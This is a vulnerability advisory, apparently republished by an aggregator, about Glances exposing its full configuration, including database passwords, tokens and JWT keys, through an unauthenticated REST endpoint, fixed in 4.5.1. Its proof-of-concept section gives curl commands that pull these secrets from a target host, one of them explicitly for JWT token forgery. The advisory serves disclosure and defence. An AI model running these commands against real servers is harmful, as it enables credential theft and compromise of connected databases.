Glances Exposes Unauthenticated Configuration Secrets
Summary
The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.
Details
Root Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.
Affected Code:
- File: glances/outputs/glances_restful_api.py, lines 1154-1167
def _api_config(self):
"""Glances API RESTful implementation.
Return the JSON representation of the Glances configuration file
HTTP/200 if OK
HTTP/404 if others error
"""
try:
# Get the RAW value of the config' dict
args_json = self.config.as_dict() # <-- Returns ALL config including secrets
except Exception as e:
raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get config ({str(e)})")
else:
return GlancesJSONResponse(args_json)- File: glances/config.py, lines 280-287
def as_dict(self):
"""Return the configuration as a dict"""
dictionary = {}
for section in self.parser.sections():
dictionary[section] = {}
for option in self.parser.options(section):
dictionary[section][option] = self.parser.get(section, option) # No filtering
return dictionary- File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)
if self.args.password:
router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
router = APIRouter(prefix=self.url_prefix) # No authentication!PoC
- Start Glances in default webserver mode:
glances -w
# Glances web server started on http://0.0.0.0:61208/- From any network-reachable host, retrieve all configuration secrets:
# Get entire config including all credentials
curl http://target:61208/api/4/configStep 3: Extract specific secrets:
# Get JWT secret key for token forgery
curl http://target:61208/api/4/config/outputs/jwt_secret_key
# Get InfluxDB token
curl http://target:61208/api/4/config/influxdb2/token
# Get all stored server passwords
curl http://target:61208/api/4/config/passwordsImpact
Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | glances | < 4.5.1 | 4.5.1 |
References
- https://github.com/nicolargo/glances/releases/tag/v4.5.1
- https://github.com/nicolargo/glances/commit/306a7136154ba5c1531489c99f8306d84eae37da
- https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6
- https://nvd.nist.gov/vuln/detail/CVE-2026-30928
- https://github.com/nicolargo/glances
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-200- Platform
- Python (PyPI)
- Package
glances- Disclosed
- 09.03.2026
- Updated
- 11.10.2026 14:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2164 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-gh4x-f7cq-wwx6 - CC BY 4.0
Vulnerability history: glances
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 26
- First → latest
- 07.2021 08.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 19
- Medium 6
Disclosures per year
- 2021: 1
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 25
-
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